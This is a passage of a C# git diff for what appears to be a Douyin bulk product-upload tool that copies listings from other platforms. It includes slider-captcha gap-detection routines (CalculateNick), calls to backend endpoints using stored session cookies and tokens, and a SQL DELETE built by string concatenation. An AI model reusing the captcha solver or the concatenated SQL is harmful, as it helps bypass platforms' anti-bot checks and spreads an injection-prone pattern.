+ { + if (upIds == null) + upIds = new List(); + + string address = BaseClass.BuildObjString("violate&act=get_list"); + string param = UserLogin.GetSignaturex() + "&pids="; + foreach (var id in upIds) + { + var idStr = id; + idStr = BaseRegex.GetMatchRegexString(ref idStr, "(\\d{5,30})"); + if (idStr == null) + continue; + + param += id + "," + (idStr.ParseToLong() % 1024) + ";"; + } + string html = GetHtml.PostUtf8(address, param.TrimEnd(';')); + return html; + } + } +} diff --git a/Work/BLL/Tools/Base64ChangeImgUrl.cs b/Work/BLL/Tools/Base64ChangeImgUrl.cs new file mode 100644 index 0000000..8d5f22e --- /dev/null +++ b/Work/BLL/Tools/Base64ChangeImgUrl.cs @@ -0,0 +1,298 @@ +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Drawing2D; +using System.Drawing.Imaging; +using System.IO; +using System.Linq; +using System.Net; +using System.Text; +using System.Threading.Tasks; + +namespace Work.BLL.Tools +{ + public class Base64ChangeImgUrl + { + + /// + /// 将Base64字符串转换为图片 + /// + /// + /// + public Bitmap ToImage(string imgBase64) + { + imgBase64 = imgBase64.Substring("data:image/jpeg;base64,".Length); + byte[] bytes = Convert.FromBase64String(imgBase64); + MemoryStream ms = new MemoryStream(bytes); + Image mImage = Image.FromStream(ms); + Bitmap bmpt = new Bitmap(ms); + return bmpt; + } + + /// + /// 图片转Base64 + /// + /// 图片的完整路径 + /// + public static string ImgToBase64(Bitmap bmp) + { + try + { + MemoryStream ms = new MemoryStream(); + bmp.Save(ms, System.Drawing.Imaging.ImageFormat.Jpeg); + byte[] arr = new byte[ms.Length]; + ms.Position = 0; + ms.Read(arr, 0, (int)ms.Length); + ms.Close(); + return Convert.ToBase64String(arr); + } + catch (Exception) + { + return null; + } + } + + public string CutZoom(string Base64pic) + { + + byte[] arr2 = Convert.FromBase64String(Base64pic); + Bitmap bmp3 = null; + using (MemoryStream ms2 = new MemoryStream(arr2)) + { + Bitmap bmp2 = new System.Drawing.Bitmap(ms2); + bmp3 = GetThumbnail(bmp2, 130, 270); + } + + return ImgToBase64(bmp3); + + } + + /// + /// 图片转为二进制 + /// + /// + /// + public byte[] GetPictureData(Bitmap Bitmap) + { + MemoryStream ms = null; + try + { + ms = new MemoryStream(); + Bitmap.Save(ms, Bitmap.RawFormat); + byte[] byteImage = new Byte[ms.Length]; + byteImage = ms.ToArray(); + return byteImage; + } + catch (ArgumentNullException ex) + { + throw ex; + } + finally + { + ms.Close(); + } + } + + public byte[] Base64ChangeBuffer(String imgBase64) + { + try + { + if (!string.IsNullOrEmpty(imgBase64)) + { + return GetPictureData(ToImage(imgBase64)); + } + return null; + } + catch + { + return null; + } + } + + public static Bitmap GetThumbnail(Bitmap b, int destHeight, int destWidth) + { + System.Drawing.Image imgSource = b; + System.Drawing.Imaging.ImageFormat thisFormat = imgSource.RawFormat; + int sW = 0, sH = 0; + // 按比例缩放 + int sWidth = imgSource.Width; + int sHeight = imgSource.Height; + if (sHeight > destHeight || sWidth > destWidth) + { + if ((sWidth * destHeight) > (sHeight * destWidth)) + { + sW = destWidth; + sH = (destWidth * sHeight) / sWidth; + } + else + { + sH = destHeight; + sW = (sWidth * destHeight) / sHeight; + } + } + else + { + sW = sWidth; + sH = sHeight; + } + Bitmap outBmp = new Bitmap(destWidth, destHeight); + Graphics g = Graphics.FromImage(outBmp); + g.Clear(Color.Transparent); + // 设置画布的描绘质量 + g.CompositingQuality = CompositingQuality.HighQuality; + g.SmoothingMode = SmoothingMode.HighQuality; + g.InterpolationMode = InterpolationMode.HighQualityBicubic; + g.DrawImage(imgSource, new Rectangle((destWidth - sW) / 2, (destHeight - sH) / 2, sW, sH), 0, 0, imgSource.Width, imgSource.Height, GraphicsUnit.Pixel); + g.Dispose(); + // 以下代码为保存图片时,设置压缩质量 + EncoderParameters encoderParams = new EncoderParameters(); + long[] quality = new long[1]; + quality[0] = 100; + EncoderParameter encoderParam = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, quality); + encoderParams.Param[0] = encoderParam; + imgSource.Dispose(); + return outBmp; + } + + public int CalculateNick(Bitmap bitmap, int v) + { + int iNickX = 0; + int iDis = 5; //差异值 + List lstiNickX = new List(); + for (int y = 0; y < bitmap.Height; y++) + { + for (int x = 0; x < bitmap.Width - v; x++) + { + Color color1 = bitmap.GetPixel(x, y); + Color color2 = bitmap.GetPixel(x + 1, y); + int icolor1 = GetRGBFromColor(color1); + int icolor2 = GetRGBFromColor(color2); + double dDistance = GetDistance(color2, color1); + if (dDistance > iDis && icolor2 < icolor1) + { + for (int i = 0; i < v + v / 2; i++) + { + iNickX = x + i; + if (iNickX >= bitmap.Width - 1) + { + continue; + } + + Color colorNickPre = bitmap.GetPixel(iNickX, y); + Color colorNickAft = bitmap.GetPixel(iNickX + 1, y); + + int icolorNickPre = GetRGBFromColor(colorNickPre); + int icolorNickAft = GetRGBFromColor(colorNickAft); + double dNickDistance = GetDistance(colorNickAft, colorNickPre); + if (dNickDistance > dDistance && icolorNickAft > icolorNickPre) + { + int iGap = Math.Abs(iNickX - x - v); + if (iGap <= 2) + { + lstiNickX.Add(x); + } + break; + } + } + } + } + } + + if (lstiNickX.Count > 0) + { + iNickX = GetRight(lstiNickX); + //label1.Text = iNickX.ToString(); + } + return iNickX; + } + + /// + /// 滑块的宽度 + /// + /// + /// + /// + public int CalculateNickNew(Bitmap bitmap, int v = 39) + { + int iNickX = 0; + decimal idif = 0.50m; // 差异比例 + List lstiNickX = new List(); + for (int y = 0; y < bitmap.Height; y++) + { + for (int x = 0; x < bitmap.Width - v - 1; x++) + { + Color color1 = bitmap.GetPixel(x, y); + Color color2 = bitmap.GetPixel(x + 1, y); + int icolor1 = color1.R + color1.G + color1.B; + int icolor2 = color2.R + color2.G + color2.B; + if (color2.R < color1.R * (1 - idif) && color2.G < color1.G * (1 - idif) && color2.G < color1.G * (1 - idif)) + { + for (int i = 1; i < v + v / 2; i++) + { + iNickX = x + i; + if (iNickX >= bitmap.Width - 1) + { + continue; + } + + Color color3 = bitmap.GetPixel(iNickX, y); + Color color4 = bitmap.GetPixel(iNickX + 1, y); + + int icolor3 = GetRGBFromColor(color3); + int icolor4 = GetRGBFromColor(color4); + if (color3.R < color4.R * (1 - idif) && color3.G < color4.G * (1 - idif) && color3.G < color4.G * (1 - idif)) + { + int iGap = Math.Abs(iNickX - x - v); + if (iGap <= 2) + { + lstiNickX.Add(x); + break; + } + } + } + } + } + } + + if (lstiNickX.Count > 0) + { + iNickX = GetRight(lstiNickX); + //label1.Text = iNickX.ToString(); + } + return iNickX + 1; + } + + public int GetRGBFromColor(Color color) + { + return (int)(((int)color.B << 16) | (ushort)(((ushort)color.G << 8) | color.R)); + byte r = color.R; + byte g = color.G; + byte b = color.B; + //转化为32bit RGB值: + int rgb = r + g * 256 + b * 256 * 256; + return rgb; + } + + private double GetDistance(Color color1, Color color2) + { + double y1, u1, v1, y2, u2, v2; + y1 = 0.299 * color1.R + 0.587 * color1.G + 0.114 * color1.B; + u1 = -0.14713 * color1.R - 0.28886 * color1.G + 0.436 * color1.B; + v1 = 0.615 * color1.R - 0.51498 * color1.G - 0.10001 * color1.B; + y2 = 0.299 * color2.R + 0.587 * color2.G + 0.114 * color2.B; + u2 = -0.14713 * color2.R - 0.28886 * color2.G + 0.436 * color2.B; + v2 = 0.615 * color2.R - 0.51498 * color2.G - 0.10001 * color2.B; + return Math.Sqrt((y1 - y2) * (y1 - y2) + (u1 - u2) * (u1 - u2) + (v1 - v2) * (v1 - v2)); + } + + private int GetRight(List lstiNickX) + { + var res = from n in lstiNickX + group n by n into g + orderby g.Count() descending + select g; + var gr = res.First(); + return gr.Key; + } + } +} diff --git a/Work/BLL/Upload/FissionDataBaseBLL.cs b/Work/BLL/Upload/FissionDataBaseBLL.cs new file mode 100644 index 0000000..d9a4706 --- /dev/null +++ b/Work/BLL/Upload/FissionDataBaseBLL.cs @@ -0,0 +1,150 @@ +using AllBase; +using AllBase.Model.Param.FissionManage; +using Newtonsoft.Json; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; + +namespace Work.BLL.Upload +{ + public class FissionDataBaseBLL + { + /// + /// 获取分组 + /// + public List GetCategoryGroup() + { + List cateList = new List(); + + string getRequestData = UserLogin.GetSignaturex() + "&act=get"; + string getUrl = BaseClass.BuildFissionObjString("category_api"); + string categoryResult = GetHtml.PostUtf8(getUrl, getRequestData); + try + { + JObject jCategoryObj = (JObject)JsonConvert.DeserializeObject(categoryResult); + if (jCategoryObj == null) + { + return cateList; + } + string categoryList = jCategoryObj["list"].ToString(); + JArray jCategoryList = (JArray)JsonConvert.DeserializeObject(categoryList); + cateList.Clear(); + cateList.Add("不限"); + foreach (var category in jCategoryList) + { + string cateStr = category["cate_name"].ToString(); + var isHas = cateList.Find(x => x != null && x.Equals(cateStr)); + if (isHas != null) + { + continue; + } + cateList.Add(cateStr); + } + } + catch + { + } + return cateList; + } + + /// + /// 获取主分类 + /// + public List GetMainCate() + { + List mainCateList = new List(); + string getRequestData = UserLogin.GetSignaturex() + "&act=get_cate"; + string getUrl = BaseClass.BuildFissionObjString("fession_api"); + string categoryResult = GetHtml.PostUtf8(getUrl, getRequestData); + try + { + var MainCateObj = JsonConvert.DeserializeObject(categoryResult); + mainCateList.Clear(); + mainCateList.Add("不限"); + if (MainCateObj != null && MainCateObj.list.Count > 0) + { + for (int i = 0; i < MainCateObj.list.Count; i++) + { + var isHas = mainCateList.Find(x => x != null && x.Contains(MainCateObj.list[i].main_cate)); + if (isHas != null) + { + continue; + } + mainCateList.Add(MainCateObj.list[i].main_cate); + } + } + } + catch (Exception ex) + { + + } + return mainCateList; + } + + /// + /// 删除产品数据库裂变商品 + /// + /// + public string DelFessionData(string FessIds, bool isMultiDelete = false) + { + string getRequestData = UserLogin.GetSignaturex() + "&act=delete&id=" + FessIds; + string getUrl = BaseClass.BuildFissionObjString("fession_api"); + string Result = GetHtml.PostUtf8(getUrl, getRequestData); + return Result; + } + + /// + /// 恢复被删除的产品数据库裂变商品 + /// + /// + public void RestoreFessionData(string strTemp) + { + string getRequestData = UserLogin.GetSignaturex() + "&act=update&ids=" + strTemp; + string getUrl = BaseClass.BuildFissionObjString("fession_recover"); + string Result = GetHtml.PostUtf8(getUrl, getRequestData); + } + + public FissionData GetFessionDetailById(int FessId) + { + string url = BaseClass.BuildFissionObjString("fession_api"); + string requestData = UserLogin.GetSignaturex() + "&act=get_detail"; + string paraStr = "&id=" + FessId; + requestData = requestData + paraStr; + string htmlData = GetHtml.PostUtf8(url, requestData); + var FessionObj = JsonConvert.DeserializeObject(htmlData); + if (FessionObj == null || string.IsNullOrEmpty(FessionObj.main_pic)) + { + Thread.Sleep(1000); + FessionObj = JsonConvert.DeserializeObject(htmlData); + } + return FessionObj; + } + } + + public class MainCateList + { + /// + /// + /// + public string main_cate { get; set; } + } + public class MainCate + { + /// + /// List + /// + public List list { get; set; } + /// + /// + /// + public string page { get; set; } + /// + /// + /// + public string next_url { get; set; } + } +} diff --git a/Work/BLL/Upload/UploadMaterialBLL.cs b/Work/BLL/Upload/UploadMaterialBLL.cs new file mode 100644 index 0000000..ccccfc5 --- /dev/null +++ b/Work/BLL/Upload/UploadMaterialBLL.cs @@ -0,0 +1,92 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Work.BLL.Upload +{ + public class UploadMaterialBLL + { + public bool DelOldestApiMaterialFolder(AllBase.Model.Result.DouShopLoginInfo shop) + { + ///^(\d{4})-(\d{2})-(\d{2})/ + var folder = GetApiMaterialFolder(shop); + if (folder != null && folder.Contains("\"code\":10000")) + { + var JObj = AllBase.JsonHelper.JObjectParse(folder); + if (JObj?["data"]?["folder_info_list"] != null) + { + foreach (Newtonsoft.Json.Linq.JObject j in JObj?["data"]?["folder_info_list"]) + { + var s = j?["name"]?.ToString(); + if (s != null && AllBase.BaseRegex.GetMatchRegex(ref s, "^(\\d{4})-(\\d{2})-(\\d{2})").Count > 0) + { + var folderId = j["folder_id"]?.ToString(); + + DouyinApiClass.DouyinApi api = new DouyinApiClass.DouyinApi(shop); + api.JsonData = new Dictionary(); + //api.JsonData.Add("name", DateTime.Now.ToString("yyyy-MM-dd")); + api.JsonData.Add("folder_ids", "[" + folderId + "]"); + string html = api.MaterialDeleteFolder(); + if (html != null && html.Contains("\"code\":10000") && html.Contains("\"success_ids\":[\"" + folderId + "\"]")) + return true; + } + } + } + } + return false; + } + + /// + /// + /// + /// + /// + /// 每页返回的数量。最大为100,默认为50 + /// 分页的页数,从1开始 + /// 排序方式 0-创建时间倒序 1-创建时间正序 2-修改时间倒序 3-修改时间正序 4-文件夹名倒序 5-文件夹名正序 + /// + public string GetApiMaterialFolder(AllBase.Model.Result.DouShopLoginInfo shop, string parent_folder_id = "0", int page_size = 10, int page_num = 1, int order_by = 1, + string create_time_start = "", string create_time_end = "") + { + //var api = new DouyinApiClass.DouyinApi(shop); + //var folderResult = api.MaterialSearchFolder(1, 10); + //return folderResult; + + DouyinApiClass.DouyinApi api = new DouyinApiClass.DouyinApi(shop); + api.JsonData = new Dictionary(); + //api.JsonData.Add("name", DateTime.Now.ToString("yyyy-MM-dd")); + api.JsonData.Add("parent_folder_id", parent_folder_id); + api.JsonData.Add("order_by", order_by.ToString()); + api.JsonData.Add("page_num", page_num.ToString()); + api.JsonData.Add("page_size", page_size.ToString()); + if (!string.IsNullOrEmpty(create_time_start)) + api.JsonData.Add("create_time_start", create_time_start.ToString()); + if (!string.IsNullOrEmpty(create_time_end)) + api.JsonData.Add("create_time_end", create_time_end.ToString()); + string html = api.GetSearchFolder(); + if (html == null) + return ""; + return html; + } + + public string GetApiMaterial(AllBase.Model.Result.DouShopLoginInfo shop, string parent_folder_id = "0", int page_size = 10, int page_num = 1, int order_by = 1, + string create_time_start = "", string create_time_end = "") + { + DouyinApiClass.DouyinApi api = new DouyinApiClass.DouyinApi(shop); + api.JsonData = new Dictionary(); + //api.JsonData.Add("name", DateTime.Now.ToString("yyyy-MM-dd")); + api.JsonData.Add("folder_id", parent_folder_id); + api.JsonData.Add("order_by", order_by.ToString()); + api.JsonData.Add("page_num", page_num.ToString()); + api.JsonData.Add("page_size", page_size.ToString()); + if (!string.IsNullOrEmpty(create_time_start)) + api.JsonData.Add("create_time_start", create_time_start.ToString()); + if (!string.IsNullOrEmpty(create_time_end)) + api.JsonData.Add("create_time_end", create_time_end.ToString()); + string html = api.GetSearchMaterial(); + return html == null ? "" : html; + } + } +} diff --git a/Work/BLL/Upload/UploadProductBLL.cs b/Work/BLL/Upload/UploadProductBLL.cs new file mode 100644 index 0000000..689e309 --- /dev/null +++ b/Work/BLL/Upload/UploadProductBLL.cs @@ -0,0 +1,2463 @@ +using AllBase; +using AllBase.Extension; +using AllBase.Helper; +using AllBase.Model.Param.ProductManage; +using AllBase.Model.Result; +using NaiBa.Util.Extension; +using Newtonsoft.Json; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.IO; +using System.IO.Compression; +using System.Linq; +using System.Net; +using System.Security.Cryptography; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using Work.Api; +using Work.BLL.Product; +using Work.CollectClass; +using Work.DouyinApiClass; + +namespace Work.BLL.Upload +{ + public class UploadProductBLL + { + public static bool IsUseGlobalQualifications = false; + public static List sGlobalPropList = new List(); + public static List sGlobalQualifications = new List(); + //[{"quality_number":null,"quality_key":"6966228537426575660","quality_name":"包装标签图","quality_attachments":[{"media_type":1,"url":"https://img1.deifei.com/j/529/e949c8676f77d.png"}]}] + + /// + /// sku及sku属性的违规词列表: + /// 商品创建失败: 商品规格值描述“灭火器”不符合平台要求,请重新填写\\n^非法的参数^商品创建失败: 发布诊断失败 + /// + public static List ViolationSkuWords = new List() { "灭火器", "保护帽", }; + public string Name; + DouShopLoginInfo Shop; + public static bool isEdit = false; + public static int ShopThreadCount = 20; + public static bool IsNoToken = false; + public static decimal addMultiple; // 加价倍数 + public static decimal addMultiple2; // 数据分裂加价范围 + public static decimal postage; // 单独加价(元) + public static decimal postage2; // 数据分裂加价范围 + public static decimal beforPrice; // 市场价倍数 + public static int MaxSingleShopUploadCount = 99999; // 单店上传最大个数 + public static bool isStockLessThan = false; // 库存小于 + public static decimal StockLessThanCount; // 库存小于多少不上货 + public static bool isWaiting = false; // 上货暂停 + public static bool isLitterSku; // 低于3个sku不上传 + public static bool JustFree; + public static bool isLogistics; + public static int isLogistHour; + public static string phone = ""; // 库存小于 + public static decimal LowPricePercent; // 最低价sku倍数 + public static decimal LowPriceAdd; // 最低价单独加价 + public static bool LowPriceSku; // 勾选最低价sku + public static string recommend_remark; // 商品评价 + public static List ids = new List(); + public ProductCollectBase p = new ProductCollectBase(); + public static List ProductTemp = new List(); + public static List ProductStock = new List(); + public static List ProductStockTemp = new List(); + public static List ShopTemp = new List(); + public static List FilterTitleWordList = new List(); // 过滤标题违规词 + public static List FilterSkuWordList = new List(); // 过滤sku违规词 + public static List FilterBrandWordList = new List(); // 过滤品牌违规词 + public static List FilterRemoveTitleWordList = new List(); // 消除标题违规词 + // 界面显示商品对象 + public delegate void ProductHandler(TaobaoProductBase p); + public ProductHandler productHandler; + // 日志提示信息 + public delegate void NoticeHandler(string notice); + public NoticeHandler noticeHandler; + // 剩余个数信息 + public delegate void RemainderHandler(); + public RemainderHandler remainHandler; + public static int maxCount; + public static string PreFixTitle = ""; + public static string fixName = "前缀"; + public static bool isDraft; + public static bool isCustomStock; + public static int skuCustomStock; + /// + /// 多店数据分裂上货的剩余未上货数量 + /// + public static int MultiUploadRestCount; + + public static bool isMinSkuStock; + public static int minSkuStock; + /// + /// 上货时使用代理获取拼多多上家商品 + /// + public static bool IsUseProxyCollectUp = true; + /// + /// 0现货发货 1预售发货 2阶梯发货 3现货-预售 4新预售 + /// + public static string delayType = "0"; // 发货类型 + public static string preEndTime = ""; // 预售结束时间 + public static string endDay = ""; // 几天后发货 + public static string sendDay = ""; // 多少天发货 + public static bool IsFilterTitleWord = false; // 过滤标题违规词 + public static bool IsFilterRemoveTitleWord = false; // 去除标题违规词 + public static bool IsFilterSkuWord = false; // 过滤Sku违规词 + public static bool IsFilterBrandWord = false; // 过滤品牌违规词 + public static bool IsFilterTMChaoShi = false; // 过滤天猫超市 + public static bool IsSetCommission = false; // 上货后设置佣金 + public static int CommissionRatio = 10; // 佣金比例 + public static byte[] img; + public static string baseImageUrl; + public static bool isMultiUpload = false; + public static bool isShopFissionUpload = false; // 单店裂变 + public static string supply_7day_return = "2"; // 七天无理由类型 + /// + /// 新版预售时效发货时间 + /// + public static string newPreTime = "5天内发货"; + /// + /// 新版预售现货-预售模式现货发货时间 + /// + public static string newPreSendDayString = "24小时内发货"; + /// + /// 随机主图 + /// + public static bool isRandomMainImage = false; + public static bool isSaveToOffLine = false; + /// + /// 云违规排查 + /// + public static bool isViolateCheck = false; + /// + /// 价格是否取整到元 + /// + public static bool isRoundPrice = false; + /// + /// 上货时指定的品牌,若未指定为空字符串 + /// + public static string productBrand = ""; + /// + /// 是否删除主图 + /// + public static bool IsDelMainPic = false; + /// + /// 删除指定主图 + /// + public static int DelMainPicId = 1; + /// + /// 是否删除第一张详情图 + /// + public static bool IsDelFirstContentPic = false; + + public UploadProductBLL(string Name, DouShopLoginInfo Shop) + { + this.Name = Name; + this.Shop = Shop; + } + public void UploadProduct() + { + try + { + int waitTimes = 0; + int maxCount = 0; + int loopPrexCount = 0; + while (Shop.CanUpload) + { + TaobaoProductBase t = UploadProductBLL.ProductStock.Find(s => !s.Uped); + if (t == null) + { + waitTimes++; + if (waitTimes > 100 && UploadProductBLL.ProductStock.Count == 0) + return; + Thread.Sleep(1000); + LogSave.Add(Name, Shop.ShopAccount + " 等待数据中..."); + continue; + } + t.Uped = true; + UploadProductBLL.ProductStock.Remove(t); + Delete(t.guid); + remainHandler(); + if (Shop.ExpressId == 0) + { + Shop.ExpressId = GetFreightTemplate(); + if (Shop.ExpressId == 0) + { + Thread.Sleep(1 * 5000); + Shop.ExpressId = GetFreightTemplate(); + } + if (Shop.ExpressId == 0) + { + LogSave.Add(Name, "运费模板未找到"); + LogSave.AddFile(Shop.ShopAccount + "运费模板未找到"); + noticeHandler(Shop.ShopAccount + "运费模板未找到"); + Shop.Message = "请设置运费模板"; + UploadProductBLL.ShopTemp.Add(Shop); + return; + } + } + //去除括号 + try + { + if (t.Titlte.Contains("【"))//移除【】和之间的数据 + { + string delStr = BaseRegex.GetMatchRegexString(ref t.Titlte, @"(【[\w\W]+?】)"); + t.Titlte = t.Titlte.Replace(delStr, ""); + } + if (t.Titlte.Contains("["))//移除【】和之间的数据 + { + string delStr = BaseRegex.GetMatchRegexString(ref t.Titlte, @"([[\w\W]+?])"); + t.Titlte = t.Titlte.Replace(delStr, ""); + } + } + catch + { + continue; + } + //前缀 后缀 + try + { + string[] l = PreFixTitle.Split('\n'); + if (!string.IsNullOrEmpty(PreFixTitle)) + { + if (loopPrexCount >= l.Length) + { + loopPrexCount = 0; + } + if (!t.Titlte.Contains(l[loopPrexCount]) && fixName == "前缀") + { + t.Titlte = l[loopPrexCount].Replace("\r", "").Trim() + t.Titlte; + if (BaseClass.GetCharLength(t.Titlte) > 60) + t.Titlte = BaseClass.SubCharLength(t.Titlte, 60); + } + if (!t.Titlte.Contains(l[loopPrexCount]) && fixName == "后缀") + { + t.Titlte = t.Titlte + l[loopPrexCount].Replace("\r", "").Trim(); + if (BaseClass.GetCharLength(t.Titlte) > 60) + t.Titlte = BaseClass.SubCharLength(t.Titlte, 60); + } + } + loopPrexCount++; + } + catch + { + continue; + } + + t.Titlte = t.Titlte.Replace("//", "").Replace("\\", "");//Replace("/", "") + maxCount++; + if (maxCount > UploadProductBLL.MaxSingleShopUploadCount) + return; + var product = Set(t); + if (product == null) + continue; + ProductTemp.Add(product); + productHandler(product); + } + } + catch (Exception ex) + { + + } + return; + } + + public void UploadProductMulti() + { + List ProductStockMulti = new List(); + for (int i = 0; i < UploadProductBLL.ProductStockTemp.Count; i++) + { + ProductStockMulti.Add(UploadProductBLL.ProductStockTemp[i].Clone()); + } + try + { + int waitTimes = 0; + int maxCount = 0; + int loopPrexCount = 0; + while (Shop.CanUpload) + { + TaobaoProductBase t = ProductStockMulti.Find(s => !s.Uped); + if (t == null) + { + waitTimes++; + if (waitTimes > 100 && ProductStockMulti.Count == 0) + return; + Thread.Sleep(1000); + LogSave.Add(Name, Shop.ShopAccount + " 等待数据中..."); + continue; + } + t.Uped = true; + + if (ProductStock.Contains(t)) + ProductStock.Remove(t); + ProductStockMulti.Remove(t); + MultiUploadRestCount = ProductStockMulti.Count; + Delete(t.guid); + remainHandler(); + if (Shop.ExpressId == 0) + { + Shop.ExpressId = GetFreightTemplate(); + if (Shop.ExpressId == 0) + { + Thread.Sleep(1 * 5000); + Shop.ExpressId = GetFreightTemplate(); + } + if (Shop.ExpressId == 0) + { + LogSave.Add(Name, "运费模板未找到"); + LogSave.AddFile(Shop.ShopAccount + "运费模板未找到"); + noticeHandler(Shop.ShopAccount + "运费模板未找到"); + Shop.Message = "请设置运费模板"; + UploadProductBLL.ShopTemp.Add(Shop); + return; + } + } + //去除括号 + try + { + if (t.Titlte.Contains("【"))//移除【】和之间的数据 + { + string delStr = BaseRegex.GetMatchRegexString(ref t.Titlte, @"(【[\w\W]+?】)"); + t.Titlte = t.Titlte.Replace(delStr, ""); + } + if (t.Titlte.Contains("["))//移除【】和之间的数据 + { + string delStr = BaseRegex.GetMatchRegexString(ref t.Titlte, @"([[\w\W]+?])"); + t.Titlte = t.Titlte.Replace(delStr, ""); + } + } + catch + { + continue; + } + //前缀 后缀 + try + { + string[] l = PreFixTitle.Split('\n'); + if (!string.IsNullOrEmpty(PreFixTitle)) + { + if (loopPrexCount >= l.Length) + { + loopPrexCount = 0; + } + if (!t.Titlte.Contains(l[loopPrexCount]) && fixName == "前缀") + { + t.Titlte = l[loopPrexCount].Replace("\r", "").Trim() + t.Titlte; + if (BaseClass.GetCharLength(t.Titlte) > 60) + t.Titlte = BaseClass.SubCharLength(t.Titlte, 60); + } + if (!t.Titlte.Contains(l[loopPrexCount]) && fixName == "后缀") + { + t.Titlte = t.Titlte + l[loopPrexCount].Replace("\r", "").Trim(); + if (BaseClass.GetCharLength(t.Titlte) > 60) + t.Titlte = BaseClass.SubCharLength(t.Titlte, 60); + } + } + loopPrexCount++; + } + catch + { + continue; + } + + t.Titlte = t.Titlte.Replace("//", "").Replace("\\", "");//Replace("/", "") + maxCount++; + if (maxCount > UploadProductBLL.MaxSingleShopUploadCount) + return; + var product = Set(t); + if (product == null) + continue; + ProductTemp.Add(product); + productHandler(product); + } + } + catch (Exception ex) + { + + } + return; + } + public static void Delete(string id) + { + + string sql = "DELETE FROM Product WHERE fromid = '" + id + "' "; + if (string.IsNullOrEmpty(id)) + sql = "DELETE FROM Product "; + try + { + SqliteHelper.ExecuteNonQuery(sql); + } + catch + { + } + } + public TaobaoProductBase Set(TaobaoProductBase t) + { + try + { + return AddGoods(t); + } + catch (Exception ex) + { + LogSave.AddFile(t.FromId + ex.Message); + noticeHandler(t.FromId + ":" + ex.Message); + t.ShopName = Shop.ShopAccount; + t.Message = ex.Message; + return t; + } + } + /// + /// 获取运费模板 + /// + public long GetFreightTemplate() + { + DouyinApi api = new DouyinApi(Shop); + api.JsonData = new Dictionary(); + api.JsonData.Add("page", "0"); + api.JsonData.Add("size", "10"); + string template = api.GetFreightTemplateList(); + long tid = 0; + + var mt = BaseRegex.GetMatchRegex(ref template, @"""id"":[\s]*([\d]+)"); + for (int i = 0; mt != null && i < mt.Count; i++) + { + var s = mt[i].ToString(); + long j = long.Parse(mt[i].Groups[1].Value); + if (j > 0) + { + tid = j; + break; + } + } + return tid; + } + + public void GetProperty() + { + DouyinApi api = new DouyinApi(Shop); + api.JsonData = new Dictionary(); + api.JsonData.Add("category_leaf_id", "26623"); + string html = api.GetCateProperty(); + long tid = BaseRegex.GetLongJson(ref html, "id"); + } + + public static long GetCat(string title, out string msg, out string fullCatInfo, DouShopLoginInfo dShop) + { + msg = ""; + fullCatInfo = ""; + if (title != null && title.Contains("【") && title.Contains("】"))//移除【和】之间的数据 + { + string delStr = BaseRegex.GetMatchRegexString(ref title, @"(【[\w\W]+?】)"); + title = title.Replace(delStr, ""); + } + if (title != null && title.Contains("[") && title.Contains("]"))//移除[和]之间的数据 + { + string delStr = BaseRegex.GetMatchRegexString(ref title, @"([[\w\W]+?])"); + title = title.Replace(delStr, ""); + } + + var cookieShops = GlobalConfig.DouShopLoginList.Where(s => s.LoginStatus == "登录成功" && s.ShopAccountId == dShop.ShopAccountId).ToList(); + if (cookieShops.Count == 0) + { + msg = "店铺未登录"; + return 0; + } + while (cookieShops.Count > 0) + { + //retry: + var cookieShop = cookieShops[Randomx.GetId(cookieShops.Count)]; + string url = "https://fxg.jinritemai.com/product/tproduct/searchCategoryN?key=" + GetHtml.UrlEncodeUtf8(title) + "&appid=1&__token=" + cookieShop.ShopToken + + "&_bid=ffa_goods&_lid=631352353727&_signature=" + cookieShop.Signature + ""; + string refere = "https://fxg.jinritemai.com/ffa/g/create"; + string html = GetPostTaobaoHtml.UploadTaobao(url, refere, true, cookieShop.Cookies); + int total = BaseRegex.GetIntJson(ref html, "total"); + if (!string.IsNullOrEmpty(html)) + msg = BaseRegex.GetStringJson(ref html, "msg"); + //int retryCount = 0; + //if (total==0&&retryCount<6&&!string.IsNullOrEmpty(msg)&&!msg.Contains("关键词为空")) + //{ + // Thread.Sleep(Randomx.GetId(2000,5000)); + // retryCount++; + // goto retry; + //} + if (msg.Contains("系统繁忙")) + { + } + if (html.Contains("登录信息已失效")) + { + msg = "店铺未登录"; + cookieShop.LoginStatus = "未登录"; + return 0; + //cookieShops = GlobalConfig.DouShopLoginList.Where(s => s.LoginStatus == "登录成功" && s.ShopId == dShop.ShopId).ToList(); + } + else + { + if (html.Contains("data")) + { + JObject jObj = JObject.Parse(html); + JArray jArr = jObj["data"] as JArray; + if (jArr != null && jArr.Count > 0) + fullCatInfo = JsonHelper.SerializeObject(jArr); + } + long catId = BaseRegex.GetLongJson(ref html, "id"); + return catId; + } + } + return 0; + } + + public string GetProp(List propList, params string[] prev) + { + string result = ""; + for (int i = 0; i < propList.Count; i++) + { + var propValue = propList[i].Replace("(", "(").Replace(")", ")").Replace(" ", ""); + bool ishas = false; + for (int j = 0; j < prev.Length; j++) + { + if (propValue.Contains(prev[j])) + ishas = true; + } + if (ishas) + continue; + result = propValue; + break; + } + return result; + } + + public TaobaoProductBase AddGoods(TaobaoProductBase t) + { + while (isWaiting) + Thread.Sleep(100); + + if (Shop.PayStatus != 1 && Shop.TrialUploadCount > 100) + { + t.Message = "当前为试用版,请购买专业版"; + t.ShopName = Shop.ShopAccount; + return t; + } + if (isViolateCheck && Shop.PayStatus != 1) + { + t.Message = "当前为试用版,无法使用云违规排查,请购买专业版"; + t.ShopName = Shop.ShopAccount; + return t; + } + + if (isViolateCheck) + { + //https://yangkeduo.com/goods.html?goods_id=294943246187 + + string prev = GetPrev(t.FromType); + ViolateParam violateParam = new ViolateParam() + { + DataFrom = 1, + UpId = prev + t.FromId + }; + + var violateHtml = ViolateBLL.GetViolate(violateParam.UpId, violateParam.UpIdNumber); + if (violateHtml == "none") // 没有违规信息 + { + } + else // 有违规信息 + { + if (ViolateRuleParam.LstViolateRuleNameSelect.Any(v => ("^" + violateHtml + "^").Contains("^" + v + "^"))) + { + violateParam.CheckTime = DateTime.Now; + violateParam.RuleNames = violateHtml; + + t.Message = "当前商品违规:" + violateHtml; + t.ShopName = Shop.ShopAccount; + return t; + } + } + } + + ProductCollectBase p = new 